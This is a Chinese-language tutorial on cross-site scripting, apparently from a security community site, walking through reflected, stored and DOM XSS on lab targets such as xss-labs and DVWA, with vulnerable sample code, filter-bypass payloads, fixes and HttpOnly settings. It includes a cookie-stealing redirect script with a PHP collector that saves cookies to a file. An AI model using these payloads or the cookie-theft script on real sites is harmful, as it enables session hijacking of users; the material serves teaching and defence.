xiao1star2026-01-20文章来源:SecHub网络安全社区
服务端把用户输入的数据当成前端代码去执行(前端代码指的是是js)
条件
反射型xss
提交的数据成果的实现了xss,但是仅仅对你这次访问产生了影响,是非持久型xss
存储型xss
提交的数据成功地实现了xss,存入了数据库,别人访问了这个页面的时候就会自动触发(留言框,工单)
Dom型xss
特殊的反射性xss
dom是一个树状的模型、可以通过javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。
Document对象使我们可以从脚本中对HTML页面中所有的元素进行访问

<meta charset="utf-8">
<script>
//document.URL获取当前页面完整的URL
//在URL字符串中搜索子字符串"name="的位置,并返回该位置的索引(从0开始计数)。如果未找到,则返回-1。
var pos=document.URL.indexOf("name=")+5;//获取name=之后的索引位置
//unescape解码函数,被web开发弃用,因为它不支持所有unicode字符
var name=unescape(document.URL.substring(pos,document.URL.length));//获取从pos位置开始到URL末尾的字符串转码一下
var r='<b>'+name+'</b>';
document.write(r);//将我们输入的内容直接写入 HTML 文档中
</script>
当在url中输入?name=<script>alert(2)</script>,就会将其写到html中就会有弹窗


上述产生漏洞的原因就是因为将从url获取的内容直接使用document.write()直接插入到了html中,而攻击者输入攻击语句后会直接导致弹窗的出现
<meta charset="utf-8">
<div id="output"></div>
<script>
//document.URL获取当前页面完整的URL
//在URL字符串中搜索子字符串"name="的位置,并返回该位置的索引(从0开始计数)。如果未找到,则返回-1。
var pos = document.URL.indexOf("name=") + 5; //获取name=之后的索引位置
// 检查pos是否合法
if (pos > 4) {
//unescape解码函数,被web开发弃用,因为它不支持所有unicode字符
var name = decodeURIComponent(document.URL.substring(pos, document.URL.length)); //获取从pos位置开始到URL末尾的字符串
// 使用textContent来防止XSS攻击
var outputElement = document.getElementById('output');
outputElement.textContent = name;
}
</script>
发现输入name=<script>alert</script>直接以文本的形式得到了输入内容,并回显到了页面上

<h1>hello</h1>
<script>
//location.hash 属性返回URL中#符号后面的部分(包括#符号),这部分通常用于页面内的导航(锚点)
//substr方法的start参数是1,表示从索引1开始提取字符,直到字符串的末尾
var a=unescape(location.hash.substr(1));
console.log(a);
eval(a);//会将传入的字符串当作JavaScript代码进行执行。
</script>
当在url中输入#alert(1)其中alert(1)就会被eval函数当作js代码执行

上述代码是因为获取的锚点后面的内容使用了eval函数直接进行执行,从而造成了漏洞利用
上述代码最主要的造成xss的原因就是使用eval函数导致js代码直接被执行,可以通过替代eval函数
<h1>hello</h1>
<script>
var hashActions = {
//定义了一个名为 hashActions 的对象,该对象包含两个属性(或称为“键”),
//每个属性都关联了一个函数。这些属性(或键)是字符串 'action1' 和 'action2',
//它们分别映射到两个简单的函数,这些函数在被调用时会在控制台输出不同的消息。
'action1': function() { console.log('Action 1 executed'); },
'action2': function() { console.log('Action 2 executed'); }
};
var action = location.hash.substr(1); //获取当前URL中 # 符号后面的部分
if (hashActions[action]) {
hashActions[action]();
} else {
console.error('Unknown action:', action);
}
</script>
发现当输入#alert后直接会在控制台输出一个报错信息,而输入#action1这是代码中存在的相关函数,就会调用其中的函数,输出相关内容


onmouseover 事件发生在鼠标指针移动到元素或它的子元素上时。
提交的数据成果的实现了xss,但是仅仅对你这次访问产生了影响,不会输入到数据库中,是非持久型xss
打印语句
htmlspecialchars
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
htmlspecialchars(string,flags,character-set,double_encode)
onmouseover 事件发生在鼠标指针移动到元素或它的子元素上时。
<?php
$cookie=$_GET["cookie"];//获取传入的cookie
file_put_contents("cookie.txt",$cookie);//将cookie写到txt中
?>

<script>document.location="http://127.0.0.1:81/dvwa/cookie.php?cookie="+document.cookie;</script>

成功获取到cookie值

leve2
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
分析上述代码通过get方式得到参数keyword,在echo时使用了 htmlspecialchars函数对变量进行转义,但是没有对input标签中的value值的变量进行转义,因此可以通过闭合双引号来进行xss攻击
payload: "><script>alert(1)</script>

leve3
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
与第二关相比在input表标签中也加入了htmlspecialchars的函数对变量的双引号和<> 进行转义,但是这个value使用的是单引号对变量进行包裹并没有对其进行转义,因此可以通过闭合单引号来实现工具
payload:' onmouseover=javascript:alert(123); (后面还有两个空格), 鼠标滑过文本框就会有弹窗


leve4
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
使用了str_replace对<>进行替换,可以通过不使用大于号小于号来实现xss,同时发现在第一个input标签中的value值使用了"进行包裹,但语句中并没有对"进行转义,因此可以通过闭合双引号来完成xss。
payload: " onmouseover=javascript:alert(123); (后面还有两个空格),鼠标滑过文本框就会有弹窗

"><a href=javascript:alert(1)>111</a>
"><a hrEf=javascript:alert(1)>111</a>
"><a hrhrefef=javascscriptript:alert(1)>111</a>
leve-9
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
分析:上述代码对我们的keyword参数进行了script等参数的过滤,并且对双引号也进行了过滤,在input的value值中使用了htmlspecialchars来进行特殊字符的转义,同时如果参数中出现http://就会进行链接赋值,没有任何过滤,那么因为我们的攻击语句难免会出现上述黑名单中的内容就可以使用unicode编码来进行绕过处理
将javascript=alert(12346)进行编码,之后再拼接上http://,使用//将其注释掉
最终的payload为
javascript:alert(1) //http://


leve-10
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
//" onmouseover=javascript:alert(123);
//对str进行了htmlspecialchar($str)转义,并对其进行输出
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
//上述的form表单进行了hidden来隐藏了不会再页面中显示
?>
分析:上述代码中不能以keyword进行入手点,而是通过t_sort作为入手点,但是其文本框是隐藏的我们无法进行操作,我们可以同在网页中将hidden给删除从而完成xss攻击
payload:
" onmouseover=javascript:alert(123);%20%20

就拿leve2来说,漏洞的原因是因为没有对$str参数进行过滤,导致输入">使得input表单形成闭合,从而造成攻击,那么就可以通过使用htmlspecialchars($str,ENT_QUOTES)对">进行转义
修复后代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.htmlspecialchars($str,ENT_QUOTES).'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
提交的数据成功地实现了xss,数据插入到了数据库,该数据需要在页面上回显,当别人访问了这个页面的时候就会自动触发(留言框,工单)

分析
sqli_real_escape_string()的操作,一些单引号和双引号进行了转义<>等符号进行转义,当输入一些xss语句之后回显到页面上就会导致xss的实现直接在message中输入<script> alert(1)</script>
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
分析
addlashes进行了单引号双引号等特殊符号的转义,使用strip_tags剥去了其中的 HTML、XML 以及 PHP 的标签,之后使用htmlspecialchars进行了<>的转义* 代表一个或多个任意字符,i 代表不区分大小写。所以<script>标签在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。注意:在html中对name的长度有限制,对可以手动扩大name的长度
在name中输入<img src="x" onerror=alert(1)>


<a herf=javascript:alert(123)>123</a>
<img%0asrc=1%0aonerror=alert(1)>
<img src="x" onerror=alert(1)>
οnclick=alert('xss')
PHP5.2以上版本已支持HttpOnly参数的设置,同样也支持全局的HttpOnly的设置,在php.ini中
-----------------------------------------------------
session.cookie_httponly =
-----------------------------------------------------
设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,当然也支持在代码中来开启:
-----------------------------------------------------
<?php
ini_set("session.cookie_httponly", 1);
// or
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
?>
-----------------------------------------------------
Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:
-------------------------------------------------------
setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
setrawcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
-------------------------------------------------------
对于PHP5.1以前版本以及PHP4版本的话,则需要通过header函数来变通下了:
-------------------------------------------------------------
<?php
header("Set-Cookie: hidden=value; httpOnly");
?>
-------------------------------------------------------------